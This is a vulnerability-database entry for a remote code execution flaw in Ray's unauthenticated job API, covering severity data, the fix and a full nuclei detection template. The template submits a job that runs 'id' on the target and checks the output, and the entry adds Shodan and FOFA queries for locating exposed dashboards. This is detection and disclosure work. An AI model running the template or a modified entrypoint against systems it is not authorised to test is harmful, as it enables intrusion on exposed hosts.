HexBrain

Browse / CVEs / CVE-2025-62593

CVE-2025-62593· ray project / ray· CWE-94

Ray < 2.52.0 - Remote Code Execution

Exploited in the wild. Listed by CISA on 2026-08-17; known to be used by ransomware.

criticalseverity
9.8CVSS score
60.2%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Ray versions prior to 2.52.0 allow unauthenticated remote code execution via the job submission API at /api/jobs/. A weak User-Agent heuristic (rejecting Mozilla-prefixed headers) can be bypassed by non-browser clients, enabling arbitrary command execution when the dashboard is network-reachable.

Impact

Unauthenticated attackers with network access to the Ray Dashboard can submit jobs that execute arbitrary commands on the host.

Fix

Upgrade Ray to version 2.52.0 or later and enable RAY_AUTH_MODE=token. Restrict dashboard access to trusted networks.

How to confirm it

Send: GET /
Positive when: contains "<title>Ray Dashboard" and "/css/main.388a904b.css"
Send: POST /api/jobs/ ; GET /api/jobs/{{jobid}}/logs?{{wait_for(3)}}
Positive when: matches /uid=\d+/ AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2025-62593 -u <target>

The full check
id: CVE-2025-62593

info:
  name: Ray < 2.52.0 - Remote Code Execution
  author: Veraptos VaaS Alpha
  severity: critical
  description: |
    Ray versions prior to 2.52.0 allow unauthenticated remote code execution via the job submission API at /api/jobs/. A weak User-Agent heuristic (rejecting Mozilla-prefixed headers) can be bypassed by non-browser clients, enabling arbitrary command execution when the dashboard is network-reachable.
  impact: |
    Unauthenticated attackers with network access to the Ray Dashboard can submit jobs that execute arbitrary commands on the host.
  remediation: |
    Upgrade Ray to version 2.52.0 or later and enable RAY_AUTH_MODE=token. Restrict dashboard access to trusted networks.
  reference:
    - https://github.com/ray-project/ray/security/advisories/GHSA-q279-jhrf-cc6v
    - https://github.com/projectdiscovery/nuclei-templates/issues/16961
    - https://nvd.nist.gov/vuln/detail/CVE-2025-62593
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-62593
    epss-score: 0.6015
    epss-percentile: 0.99145
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 2
    vendor: ray_project
    product: ray
    shodan-query:
      - http.favicon.hash:463802404
      - http.html:"ray dashboard"
    fofa-query:
      - icon_hash=463802404
      - body="ray dashboard"
  tags: cve,cve2025,rce,ray,kev,vkev

flow: http(1) && http(2)

variables:
  jobid: "1Job_{{rand_base(6)}}"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - '<title>Ray Dashboard'
          - '/css/main.388a904b.css'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/jobs/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"entrypoint":"id","submission_id":"{{jobid}}"}

      - |
        GET /api/jobs/{{jobid}}/logs?{{wait_for(3)}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'uid=\d+'

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        name: jobid
        regex:
          - 'uid=(\d+)'

References

Use this check only on systems you are authorised to test. Where the data comes from